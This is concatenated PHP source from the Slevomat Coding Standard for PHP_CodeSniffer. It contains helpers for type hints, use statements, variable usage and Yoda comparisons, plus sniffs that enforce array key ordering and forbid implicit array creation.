isTraversableType(string $type, array $traversableTypeHints): bool { return self::isSimpleIterableTypeHint($type) || in_array($type, $traversableTypeHints, true); } public static function typeHintEqualsAnnotation( File $phpcsFile, int $functionPointer, string $typeHint, string $typeHintInAnnotation ): bool { /** @var list $typeHintParts */ $typeHintParts = preg_split('~([&|])~', self::normalize($typeHint), -1, PREG_SPLIT_DELIM_CAPTURE); /** @var list $typeHintInAnnotationParts */ $typeHintInAnnotationParts = preg_split('~([&|])~', self::normalize($typeHintInAnnotation), -1, PREG_SPLIT_DELIM_CAPTURE); if (count($typeHintParts) !== count($typeHintInAnnotationParts)) { return false; } for ($i = 0; $i < count($typeHintParts); $i++) { if ( ( $typeHintParts[$i] === '|' || $typeHintParts[$i] === '&' ) && $typeHintParts[$i] !== $typeHintInAnnotationParts[$i] ) { return false; } if (self::getFullyQualifiedTypeHint($phpcsFile, $functionPointer, $typeHintParts[$i]) !== self::getFullyQualifiedTypeHint( $phpcsFile, $functionPointer, $typeHintInAnnotationParts[$i], )) { return false; } } return true; } public static function getStartPointer(File $phpcsFile, int $endPointer): int { $previousPointer = TokenHelper::findPreviousExcluding( $phpcsFile, [T_WHITESPACE, ...TokenHelper::TYPE_HINT_TOKEN_CODES], $endPointer - 1, ); return TokenHelper::findNextNonWhitespace($phpcsFile, $previousPointer + 1); } private static function isTemplate(File $phpcsFile, int $docCommentOpenPointer, string $typeHint): bool { static $templateAnnotationNames = null; if ($templateAnnotationNames === null) { foreach (['template', 'template-covariant'] as $annotationName) { $templateAnnotationNames[] = sprintf('@%s', $annotationName); foreach (AnnotationHelper::STATIC_ANALYSIS_PREFIXES as $prefixAnnotationName) { $templateAnnotationNames[] = sprintf('@%s-%s', $prefixAnnotationName, $annotationName); } } } $containsTypeHintInTemplateAnnotation = static function (int $docCommentOpenPointer) use ($phpcsFile, $templateAnnotationNames, $typeHint): bool { foreach ($templateAnnotationNames as $templateAnnotationName) { /** @var list> $annotations */ $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer, $templateAnnotationName); foreach ($annotations as $templateAnnotation) { if ($templateAnnotation->isInvalid()) { continue; } if ($templateAnnotation->getValue()->name === $typeHint) { return true; } } } return false; }; $tokens = $phpcsFile->getTokens(); $docCommentOwnerPointer = DocCommentHelper::findDocCommentOwnerPointer($phpcsFile, $docCommentOpenPointer); if ($docCommentOwnerPointer !== null) { if (in_array($tokens[$docCommentOwnerPointer]['code'], TokenHelper::CLASS_TYPE_TOKEN_CODES, true)) { return $containsTypeHintInTemplateAnnotation($docCommentOpenPointer); } if ($tokens[$docCommentOwnerPointer]['code'] === T_FUNCTION && $containsTypeHintInTemplateAnnotation($docCommentOpenPointer)) { return true; } } $classPointer = ClassHelper::getClassPointer($phpcsFile, $docCommentOpenPointer); if ($classPointer === null) { return false; } $classDocCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $classPointer); if ($classDocCommentOpenPointer === null) { return false; } return $containsTypeHintInTemplateAnnotation($classDocCommentOpenPointer); } private static function isAlias(File $phpcsFile, int $docCommentOpenPointer, string $typeHint): bool { static $aliasAnnotationNames = null; if ($aliasAnnotationNames === null) { foreach (['type', 'import-type'] as $annotationName) { foreach (AnnotationHelper::STATIC_ANALYSIS_PREFIXES as $prefixAnnotationName) { $aliasAnnotationNames[] = sprintf('@%s-%s', $prefixAnnotationName, $annotationName); } } } $classPointer = ClassHelper::getClassPointer($phpcsFile, $docCommentOpenPointer); if ($classPointer === null) { return false; } $classDocCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $classPointer); if ($classDocCommentOpenPointer === null) { return false; } foreach ($aliasAnnotationNames as $aliasAnnotationName) { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $classDocCommentOpenPointer, $aliasAnnotationName); foreach ($annotations as $aliasAnnotation) { $aliasAnnotationValue = $aliasAnnotation->getValue(); if ($aliasAnnotationValue instanceof TypeAliasTagValueNode && $aliasAnnotationValue->alias === $typeHint) { return true; } if (!($aliasAnnotationValue instanceof TypeAliasImportTagValueNode)) { continue; } if ($aliasAnnotationValue->importedAs === $typeHint) { return true; } if ($aliasAnnotationValue->importedAlias === $typeHint) { return true; } } } return false; } private static function normalize(string $typeHint): string { if (StringHelper::startsWith($typeHint, '?')) { $typeHint = substr($typeHint, 1) . '|null'; } if (self::isNeverTypeHint($typeHint)) { return 'never'; } /** @var list $parts */ $parts = preg_split('~([&|])~', $typeHint, -1, PREG_SPLIT_DELIM_CAPTURE); $hints = []; $delimiter = '|'; foreach ($parts as $part) { if ($part === '|' || $part === '&') { $delimiter = $part; continue; } $hints[] = $part; } if (in_array('mixed', $hints, true)) { return 'mixed'; } $convertedHints = []; foreach ($hints as $hint) { if (self::isUnofficialUnionTypeHint($hint) && $delimiter !== '&') { $convertedHints = array_merge($convertedHints, self::convertUnofficialUnionTypeHintToOfficialTypeHints($hint)); } else { $convertedHints[] = $hint; } } $convertedHints = array_unique($convertedHints); if (count($convertedHints) > 1) { $convertedHints = array_map(static fn (string $part): string => self::isVoidTypeHint($part) ? 'null' : $part, $convertedHints); } sort($convertedHints); return implode($delimiter, $convertedHints); } } nameAsReferencedInFile = $nameAsReferencedInFile; $this->normalizedNameAsReferencedInFile = self::normalizedNameAsReferencedInFile($type, $nameAsReferencedInFile); $this->fullyQualifiedTypeName = $fullyQualifiedClassName; $this->usePointer = $usePointer; $this->type = $type; $this->alias = $alias; } public function getNameAsReferencedInFile(): string { return $this->nameAsReferencedInFile; } public function getCanonicalNameAsReferencedInFile(): string { return $this->normalizedNameAsReferencedInFile; } public function getFullyQualifiedTypeName(): string { return $this->fullyQualifiedTypeName; } public function getPointer(): int { return $this->usePointer; } public function getType(): string { return $this->type; } public function getAlias(): ?string { return $this->alias; } public function isClass(): bool { return $this->type === self::TYPE_CLASS; } public function isConstant(): bool { return $this->type === self::TYPE_CONSTANT; } public function isFunction(): bool { return $this->type === self::TYPE_FUNCTION; } public function hasSameType(self $that): bool { return $this->type === $that->type; } public static function getUniqueId(string $type, string $name): string { $normalizedName = self::normalizedNameAsReferencedInFile($type, $name); if ($type === self::TYPE_CLASS) { return $normalizedName; } return sprintf('%s %s', $type, $normalizedName); } public static function normalizedNameAsReferencedInFile(string $type, string $name): string { if ($type === self::TYPE_CONSTANT) { return $name; } return strtolower($name); } public static function getTypeName(string $type): ?string { if ($type === self::TYPE_CONSTANT) { return 'const'; } if ($type === self::TYPE_FUNCTION) { return 'function'; } return null; } } getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); // Anonymous function use if ($tokens[$nextPointer]['code'] === T_OPEN_PARENTHESIS) { return false; } if ( $tokens[$nextPointer]['code'] === T_STRING && in_array(strtolower($tokens[$nextPointer]['content']), ['function', 'const'], true) ) { return true; } $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_OPEN_TAG, T_DECLARE, T_NAMESPACE, T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET], $usePointer, ); if (in_array($tokens[$previousPointer]['code'], [T_OPEN_TAG, T_DECLARE, T_NAMESPACE], true)) { return true; } if (array_key_exists('scope_condition', $tokens[$previousPointer])) { $scopeConditionPointer = $tokens[$previousPointer]['scope_condition']; if ( $tokens[$previousPointer]['code'] === T_OPEN_CURLY_BRACKET && in_array($tokens[$scopeConditionPointer]['code'], TokenHelper::CLASS_TYPE_WITH_ANONYMOUS_CLASS_TOKEN_CODES, true) ) { return false; } // Trait use after another trait use if ($tokens[$scopeConditionPointer]['code'] === T_USE) { return false; } // Trait use after method or import use after function if ($tokens[$scopeConditionPointer]['code'] === T_FUNCTION) { return ClassHelper::getClassPointer($phpcsFile, $usePointer) === null; } } return true; } public static function isTraitUse(File $phpcsFile, int $usePointer): bool { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); // Anonymous function use if ($tokens[$nextPointer]['code'] === T_OPEN_PARENTHESIS) { return false; } return !self::isImportUse($phpcsFile, $usePointer); } public static function getAlias(File $phpcsFile, int $usePointer): ?string { $endPointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_COMMA], $usePointer + 1); $asPointer = TokenHelper::findNext($phpcsFile, T_AS, $usePointer + 1, $endPointer); if ($asPointer === null) { return null; } $tokens = $phpcsFile->getTokens(); return $tokens[TokenHelper::findNext($phpcsFile, T_STRING, $asPointer + 1)]['content']; } public static function getNameAsReferencedInClassFromUse(File $phpcsFile, int $usePointer): string { $alias = self::getAlias($phpcsFile, $usePointer); if ($alias !== null) { return $alias; } $name = self::getFullyQualifiedTypeNameFromUse($phpcsFile, $usePointer); return NamespaceHelper::getUnqualifiedNameFromFullyQualifiedName($name); } public static function getFullyQualifiedTypeNameFromUse(File $phpcsFile, int $usePointer): string { $tokens = $phpcsFile->getTokens(); $nameEndPointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_AS, T_COMMA], $usePointer + 1) - 1; if (in_array($tokens[$nameEndPointer]['code'], TokenHelper::INEFFECTIVE_TOKEN_CODES, true)) { $nameEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $nameEndPointer); } $nameStartPointer = TokenHelper::findPreviousExcluding($phpcsFile, TokenHelper::NAME_TOKEN_CODES, $nameEndPointer - 1) + 1; $name = TokenHelper::getContent($phpcsFile, $nameStartPointer, $nameEndPointer); return NamespaceHelper::normalizeToCanonicalName($name); } /** * @return array */ public static function getUseStatementsForPointer(File $phpcsFile, int $pointer): array { $allUseStatements = self::getFileUseStatements($phpcsFile); if (count($allUseStatements) === 1) { return current($allUseStatements); } foreach (array_reverse($allUseStatements, true) as $pointerBeforeUseStatements => $useStatements) { if ($pointerBeforeUseStatements < $pointer) { return $useStatements; } } return []; } /** * @return array> */ public static function getFileUseStatements(File $phpcsFile): array { $lazyValue = static function () use ($phpcsFile): array { $useStatements = []; $tokens = $phpcsFile->getTokens(); $namespaceAndOpenTagPointers = TokenHelper::findNextAll($phpcsFile, [T_OPEN_TAG, T_NAMESPACE], 0); $openTagPointer = $namespaceAndOpenTagPointers[0]; foreach (self::getUseStatementPointers($phpcsFile, $openTagPointer) as $usePointer) { $pointerBeforeUseStatements = $openTagPointer; if (count($namespaceAndOpenTagPointers) > 1) { foreach (array_reverse($namespaceAndOpenTagPointers) as $namespaceAndOpenTagPointer) { if ($namespaceAndOpenTagPointer < $usePointer) { $pointerBeforeUseStatements = $namespaceAndOpenTagPointer; break; } } } $nextTokenFromUsePointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); $type = UseStatement::TYPE_CLASS; if ($tokens[$nextTokenFromUsePointer]['code'] === T_STRING) { if ($tokens[$nextTokenFromUsePointer]['content'] === 'const') { $type = UseStatement::TYPE_CONSTANT; } elseif ($tokens[$nextTokenFromUsePointer]['content'] === 'function') { $type = UseStatement::TYPE_FUNCTION; } } $name = self::getNameAsReferencedInClassFromUse($phpcsFile, $usePointer); $useStatement = new UseStatement( $name, self::getFullyQualifiedTypeNameFromUse($phpcsFile, $usePointer), $usePointer, $type, self::getAlias($phpcsFile, $usePointer), ); $useStatements[$pointerBeforeUseStatements][UseStatement::getUniqueId($type, $name)] = $useStatement; } return $useStatements; }; return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'useStatements', $lazyValue); } public static function getUseStatementPointer(File $phpcsFile, int $pointer): ?int { $pointers = self::getUseStatementPointers($phpcsFile, 0); foreach (array_reverse($pointers) as $pointerBeforeUseStatements) { if ($pointerBeforeUseStatements < $pointer) { return $pointerBeforeUseStatements; } } return null; } /** * Searches for all use statements in a file, skips bodies of classes and traits. * * @return list */ private static function getUseStatementPointers(File $phpcsFile, int $openTagPointer): array { $lazy = static function () use ($phpcsFile, $openTagPointer): array { $tokens = $phpcsFile->getTokens(); $pointer = $openTagPointer + 1; $pointers = []; while (true) { $pointer = TokenHelper::findNext($phpcsFile, [T_USE, ...TokenHelper::CLASS_TYPE_TOKEN_CODES], $pointer); if ($pointer === null) { break; } $token = $tokens[$pointer]; if (in_array($token['code'], TokenHelper::CLASS_TYPE_TOKEN_CODES, true)) { $pointer = $token['scope_closer'] + 1; continue; } if (self::isGroupUse($phpcsFile, $pointer)) { $pointer++; continue; } if (!self::isImportUse($phpcsFile, $pointer)) { $pointer++; continue; } $pointers[] = $pointer; $pointer++; } return $pointers; }; return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'useStatementPointers', $lazy); } private static function isGroupUse(File $phpcsFile, int $usePointer): bool { $tokens = $phpcsFile->getTokens(); $semicolonOrGroupUsePointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_OPEN_USE_GROUP], $usePointer + 1); return $tokens[$semicolonOrGroupUsePointer]['code'] === T_OPEN_USE_GROUP; } } getTokens(); if ($tokens[$variablePointer]['content'] !== $tokens[$variableToCheckPointer]['content']) { return false; } if ($tokens[$variableToCheckPointer - 1]['code'] === T_DOUBLE_COLON) { $pointerAfterVariable = TokenHelper::findNextEffective($phpcsFile, $variableToCheckPointer + 1); return $tokens[$pointerAfterVariable]['code'] === T_OPEN_PARENTHESIS; } return !ParameterHelper::isParameter($phpcsFile, $variableToCheckPointer); } public static function isUsedInCompactFunction(File $phpcsFile, int $variablePointer, int $stringPointer): bool { $tokens = $phpcsFile->getTokens(); $stringContent = $tokens[$stringPointer]['content']; if (strtolower($stringContent) !== 'compact') { return false; } $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); if ($tokens[$parenthesisOpenerPointer]['code'] !== T_OPEN_PARENTHESIS) { return false; } $variableNameWithoutDollar = substr($tokens[$variablePointer]['content'], 1); for ($i = $parenthesisOpenerPointer + 1; $i < $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; $i++) { if (preg_match('~^([\'"])' . $variableNameWithoutDollar . '\\1$~', $tokens[$i]['content']) !== 0) { return true; } } return false; } public static function isUsedInScopeInString(File $phpcsFile, string $variableName, int $stringPointer): bool { $tokens = $phpcsFile->getTokens(); $stringContent = $tokens[$stringPointer]['content']; if (preg_match('~(\\\\)?(' . preg_quote($variableName, '~') . ')\b~', $stringContent, $matches) === 1) { if ($matches[1] === '') { return true; } /** @phpstan-ignore-next-line */ if (strlen($matches[1]) % 2 === 1) { return true; } } $variableNameWithoutDollar = substr($variableName, 1); return preg_match('~\$\{' . preg_quote($variableNameWithoutDollar, '~') . '(<=\}|\b)~', $stringContent) !== 0; } private static function isUsedInScopeInternal( File $phpcsFile, int $scopeOwnerPointer, int $variablePointer, ?int $startCheckPointer ): bool { $tokens = $phpcsFile->getTokens(); if ($tokens[$scopeOwnerPointer]['code'] === T_OPEN_TAG) { $scopeCloserPointer = count($tokens) - 1; } elseif ($tokens[$scopeOwnerPointer]['code'] === T_FN) { $scopeCloserPointer = $tokens[$scopeOwnerPointer]['scope_closer']; } else { $scopeCloserPointer = $tokens[$scopeOwnerPointer]['scope_closer'] - 1; } if ($tokens[$scopeOwnerPointer]['code'] === T_OPEN_TAG) { $firstPointerInScope = $scopeOwnerPointer + 1; } elseif ($tokens[$scopeOwnerPointer]['code'] === T_FN) { $firstPointerInScope = $tokens[$scopeOwnerPointer]['scope_opener']; } else { $firstPointerInScope = $tokens[$scopeOwnerPointer]['scope_opener'] + 1; } $startCheckPointer ??= $firstPointerInScope; for ($i = $startCheckPointer; $i <= $scopeCloserPointer; $i++) { if (!ScopeHelper::isInSameScope($phpcsFile, $i, $firstPointerInScope)) { continue; } if ( $tokens[$i]['code'] === T_VARIABLE && self::isUsedAsVariable($phpcsFile, $variablePointer, $i) ) { return true; } if ($tokens[$i]['code'] === T_STRING) { if (self::isGetDefinedVarsCall($phpcsFile, $i)) { return true; } if (self::isUsedInCompactFunction($phpcsFile, $variablePointer, $i)) { return true; } } if ( in_array($tokens[$i]['code'], [T_DOUBLE_QUOTED_STRING, T_HEREDOC], true) && self::isUsedInScopeInString($phpcsFile, $tokens[$variablePointer]['content'], $i) ) { return true; } } return false; } private static function isGetDefinedVarsCall(File $phpcsFile, int $stringPointer): bool { $tokens = $phpcsFile->getTokens(); $stringContent = $tokens[$stringPointer]['content']; if (strtolower($stringContent) !== 'get_defined_vars') { return false; } $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); return $tokens[$parenthesisOpenerPointer]['code'] === T_OPEN_PARENTHESIS; } } |int|string>> $leftSideTokens * @param array|int|string>> $rightSideTokens */ public static function fix(File $phpcsFile, array $leftSideTokens, array $rightSideTokens): void { $phpcsFile->fixer->beginChangeset(); self::replace($phpcsFile, $leftSideTokens, $rightSideTokens); self::replace($phpcsFile, $rightSideTokens, $leftSideTokens); $phpcsFile->fixer->endChangeset(); } /** * @param array|int|string>> $tokens * @return array|int|string>> */ public static function getLeftSideTokens(array $tokens, int $comparisonTokenPointer): array { $parenthesisDepth = 0; $shortArrayDepth = 0; $examinedTokenPointer = $comparisonTokenPointer; $sideTokens = []; $stopTokenCodes = self::getStopTokenCodes(); while (true) { $examinedTokenPointer--; $examinedToken = $tokens[$examinedTokenPointer]; /** @var string|int $examinedTokenCode */ $examinedTokenCode = $examinedToken['code']; if ($parenthesisDepth === 0 && $shortArrayDepth === 0 && isset($stopTokenCodes[$examinedTokenCode])) { break; } if ($examinedTokenCode === T_CLOSE_SHORT_ARRAY) { $shortArrayDepth++; } elseif ($examinedTokenCode === T_OPEN_SHORT_ARRAY) { if ($shortArrayDepth === 0) { break; } $shortArrayDepth--; } if ($examinedTokenCode === T_CLOSE_PARENTHESIS) { $parenthesisDepth++; } elseif ($examinedTokenCode === T_OPEN_PARENTHESIS) { if ($parenthesisDepth === 0) { break; } $parenthesisDepth--; } $sideTokens[$examinedTokenPointer] = $examinedToken; } return self::trimWhitespaceTokens(array_reverse($sideTokens, true)); } /** * @param array|int|string>> $tokens * @return array|int|string>> */ public static function getRightSideTokens(array $tokens, int $comparisonTokenPointer): array { $parenthesisDepth = 0; $shortArrayDepth = 0; $examinedTokenPointer = $comparisonTokenPointer; $sideTokens = []; $stopTokenCodes = self::getStopTokenCodes(); while (true) { $examinedTokenPointer++; $examinedToken = $tokens[$examinedTokenPointer]; /** @var string|int $examinedTokenCode */ $examinedTokenCode = $examinedToken['code']; if ($parenthesisDepth === 0 && $shortArrayDepth === 0 && isset($stopTokenCodes[$examinedTokenCode])) { break; } if ($examinedTokenCode === T_OPEN_SHORT_ARRAY) { $shortArrayDepth++; } elseif ($examinedTokenCode === T_CLOSE_SHORT_ARRAY) { if ($shortArrayDepth === 0) { break; } $shortArrayDepth--; } if ($examinedTokenCode === T_OPEN_PARENTHESIS) { $parenthesisDepth++; } elseif ($examinedTokenCode === T_CLOSE_PARENTHESIS) { if ($parenthesisDepth === 0) { break; } $parenthesisDepth--; } $sideTokens[$examinedTokenPointer] = $examinedToken; } return self::trimWhitespaceTokens($sideTokens); } /** * @param array|int|string>> $tokens * @param array|int|string>> $sideTokens */ public static function getDynamismForTokens(array $tokens, array $sideTokens): ?int { $sideTokens = array_values(array_filter($sideTokens, static fn (array $token): bool => !in_array( $token['code'], [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT, T_NS_SEPARATOR, T_PLUS, T_MINUS, T_INT_CAST, T_DOUBLE_CAST, T_STRING_CAST, T_ARRAY_CAST, T_OBJECT_CAST, T_BOOL_CAST, T_UNSET_CAST], true, ))); $sideTokensCount = count($sideTokens); $dynamism = self::getTokenDynamism(); if ($sideTokensCount > 0) { if ($sideTokens[0]['code'] === T_VARIABLE) { // Expression starts with a variable - wins over everything else return self::DYNAMISM_VARIABLE; } if ($sideTokens[$sideTokensCount - 1]['code'] === T_CLOSE_PARENTHESIS) { if (array_key_exists('parenthesis_owner', $sideTokens[$sideTokensCount - 1])) { /** @var int $parenthesisOwner */ $parenthesisOwner = $sideTokens[$sideTokensCount - 1]['parenthesis_owner']; if ($tokens[$parenthesisOwner]['code'] === T_ARRAY) { // Array return $dynamism[T_ARRAY]; } } // Function or method call return self::DYNAMISM_FUNCTION_CALL; } if ($sideTokensCount === 1 && $sideTokens[0]['code'] === T_STRING) { // Constant return self::DYNAMISM_CONSTANT; } } if ($sideTokensCount > 2 && $sideTokens[$sideTokensCount - 2]['code'] === T_DOUBLE_COLON) { if ($sideTokens[$sideTokensCount - 1]['code'] === T_VARIABLE) { // Static property access return self::DYNAMISM_VARIABLE; } if ($sideTokens[$sideTokensCount - 1]['code'] === T_STRING) { // Class constant return self::DYNAMISM_CONSTANT; } } if (array_key_exists(0, $sideTokens)) { $sideTokenCode = $sideTokens[0]['code']; /** @phpstan-ignore argument.type */ if (array_key_exists($sideTokenCode, $dynamism)) { return $dynamism[$sideTokenCode]; } } return null; } /** * @param array|int|string>> $tokens * @return array|int|string>> */ public static function trimWhitespaceTokens(array $tokens): array { foreach ($tokens as $pointer => $token) { if ($token['code'] !== T_WHITESPACE) { break; } unset($tokens[$pointer]); } foreach (array_reverse($tokens, true) as $pointer => $token) { if ($token['code'] !== T_WHITESPACE) { break; } unset($tokens[$pointer]); } return $tokens; } /** * @param array|int|string>> $oldTokens * @param array|int|string>> $newTokens */ private static function replace(File $phpcsFile, array $oldTokens, array $newTokens): void { reset($oldTokens); /** @var int $firstOldPointer */ $firstOldPointer = key($oldTokens); end($oldTokens); /** @var int $lastOldPointer */ $lastOldPointer = key($oldTokens); $content = implode('', array_map(static function (array $token): string { /** @var string $content */ $content = $token['content']; return $content; }, $newTokens)); FixerHelper::change($phpcsFile, $firstOldPointer, $lastOldPointer, $content); } /** * @return array */ private static function getTokenDynamism(): array { static $tokenDynamism; if ($tokenDynamism === null) { $tokenDynamism = [ T_TRUE => 0, T_FALSE => 0, T_NULL => 0, T_DNUMBER => 0, T_LNUMBER => 0, T_OPEN_SHORT_ARRAY => 0, // Do not stack error messages when the old-style array syntax is used T_ARRAY => 0, T_CONSTANT_ENCAPSED_STRING => 0, T_VARIABLE => self::DYNAMISM_VARIABLE, T_STRING => self::DYNAMISM_FUNCTION_CALL, ]; $tokenDynamism += array_fill_keys(array_keys(Tokens::$castTokens), 3); } return $tokenDynamism; } /** * @return array */ private static function getStopTokenCodes(): array { static $stopTokenCodes; if ($stopTokenCodes === null) { $stopTokenCodes = [ T_BOOLEAN_AND => true, T_BOOLEAN_OR => true, T_SEMICOLON => true, T_OPEN_TAG => true, T_INLINE_THEN => true, T_INLINE_ELSE => true, T_LOGICAL_AND => true, T_LOGICAL_OR => true, T_LOGICAL_XOR => true, T_COALESCE => true, T_CASE => true, T_COLON => true, T_RETURN => true, T_COMMA => true, T_MATCH_ARROW => true, T_FN_ARROW => true, ]; $stopTokenCodes += array_fill_keys(array_keys(Tokens::$assignmentTokens), true); $stopTokenCodes += array_fill_keys(array_keys(Tokens::$commentTokens), true); } return $stopTokenCodes; } } */ public function register(): array { return TokenHelper::ARRAY_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): void { if (ArrayHelper::isMultiLine($phpcsFile, $stackPointer) === false) { return; } // "Parse" the array... get info for each key/value pair $keyValues = ArrayHelper::parse($phpcsFile, $stackPointer); if (ArrayHelper::isKeyedAll($keyValues) === false) { return; } if (ArrayHelper::isSortedByKey($keyValues)) { return; } $fix = $phpcsFile->addFixableError( 'Keyed multi-line arrays must be sorted alphabetically.', $stackPointer, self::CODE_INCORRECT_KEY_ORDER, ); if ($fix) { $this->fix($phpcsFile, $keyValues); } } /** * @param list $keyValues */ private function fix(File $phpcsFile, array $keyValues): void { $pointerStart = $keyValues[0]->getPointerStart(); $pointerEnd = $keyValues[count($keyValues) - 1]->getPointerEnd(); // Determine indent to use $indent = ArrayHelper::getIndentation($keyValues); usort($keyValues, static fn ($a1, $a2) => strnatcasecmp((string) $a1->getKey(), (string) $a2->getKey())); $content = implode( '', array_map( static fn (ArrayKeyValue $keyValue) => $keyValue->getContent($phpcsFile, true, $indent) . $phpcsFile->eolChar, $keyValues, ), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $pointerStart, $pointerEnd, $content); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_OPEN_SQUARE_BRACKET]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): void { $tokens = $phpcsFile->getTokens(); $previousToken = TokenHelper::findPreviousNonWhitespace($phpcsFile, $stackPointer - 1); if ( $previousToken === null || $previousToken === $stackPointer - 1) { return; } if ($tokens[$previousToken]['code'] === T_VARIABLE) { $this->addError( $phpcsFile, $stackPointer, 'There should be no space between array variable and array access operator.', self::CODE_NO_SPACE_BEFORE_BRACKETS, ); } if ($tokens[$previousToken]['code'] !== T_CLOSE_SQUARE_BRACKET) { return; } $this->addError( $phpcsFile, $stackPointer, 'There should be no space between array access operators.', self::CODE_NO_SPACE_BETWEEN_BRACKETS, ); } private function addError(File $phpcsFile, int $stackPointer, string $error, string $code): void { $fix = $phpcsFile->addFixableError($error, $stackPointer, $code); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $stackPointer - 1, ''); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_OPEN_SQUARE_BRACKET, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $bracketOpenerPointer */ public function process(File $phpcsFile, $bracketOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $assignmentPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$bracketOpenerPointer]['bracket_closer'] + 1); if ($tokens[$assignmentPointer]['code'] !== T_EQUAL) { return; } /** @var int $variablePointer */ $variablePointer = TokenHelper::findPreviousEffective($phpcsFile, $bracketOpenerPointer - 1); if ($tokens[$variablePointer]['code'] !== T_VARIABLE) { return; } if (in_array($tokens[$variablePointer]['content'], [ '$GLOBALS', '$_SERVER', '$_REQUEST', '$_POST', '$_GET', '$_FILES', '$_ENV', '$_COOKIE', '$_SESSION', '$this', ], true)) { return; } $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); if (in_array($tokens[$pointerBeforeVariable]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { return; } $scopeOwnerPointer = null; foreach (array_reverse($tokens[$variablePointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (!in_array($conditionTokenCode, TokenHelper::FUNCTION_TOKEN_CODES, true)) { continue; } $scopeOwnerPointer = $conditionPointer; break; } $scopeOwnerPointer ??= TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $variablePointer - 1); $scopeOpenerPointer = $tokens[$scopeOwnerPointer]['code'] === T_OPEN_TAG ? $scopeOwnerPointer : $tokens[$scopeOwnerPointer]['scope_opener']; $scopeCloserPointer = $tokens[$scopeOwnerPointer]['code'] === T_OPEN_TAG ? count($tokens) - 1 : $tokens[$scopeOwnerPointer]['scope_closer']; if (in_array($tokens[$scopeOwnerPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { if ($this->isParameter($phpcsFile, $scopeOwnerPointer, $variablePointer)) { return; } if ( $tokens[$scopeOwnerPointer]['code'] === T_CLOSURE && $this->isInheritedVariable($phpcsFile, $scopeOwnerPointer, $variablePointer) ) { return; } } if ($this->hasExplicitCreation($phpcsFile, $scopeOpenerPointer, $scopeCloserPointer, $variablePointer)) { return; } $phpcsFile->addError('Implicit array creation is disallowed.', $variablePointer, self::CODE_IMPLICIT_ARRAY_CREATION_USED); } private function isParameter(File $phpcsFile, int $functionPointer, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $variableName = $tokens[$variablePointer]['content']; $parameterPointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $tokens[$functionPointer]['parenthesis_opener'] + 1, $tokens[$functionPointer]['parenthesis_closer'], ); return $parameterPointer !== null; } private function isInheritedVariable(File $phpcsFile, int $closurePointer, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $variableName = $tokens[$variablePointer]['content']; $usePointer = TokenHelper::findNext( $phpcsFile, T_USE, $tokens[$closurePointer]['parenthesis_closer'] + 1, $tokens[$closurePointer]['scope_opener'], ); if ($usePointer === null) { return false; } $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); $inheritedVariablePointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $parenthesisOpenerPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], ); return $inheritedVariablePointer !== null; } private function hasExplicitCreation(File $phpcsFile, int $scopeOpenerPointer, int $scopeCloserPointer, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $variableName = $tokens[$variablePointer]['content']; for ($i = $scopeOpenerPointer + 1; $i < $variablePointer; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $variablePointer, $i)) { continue; } $assignmentPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if ($tokens[$assignmentPointer]['code'] === T_EQUAL) { return true; } $staticPointer = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if ($tokens[$staticPointer]['code'] === T_STATIC) { return true; } if ($this->isCreatedInForeach($phpcsFile, $i, $scopeCloserPointer)) { return true; } if ($this->isCreatedInList($phpcsFile, $i, $scopeOpenerPointer)) { return true; } if ($this->isCreatedByReferencedParameterInFunctionCall($phpcsFile, $i, $scopeOpenerPointer)) { return true; } if ($this->isImportedUsingGlobalStatement($phpcsFile, $i)) { return true; } } return false; } private function 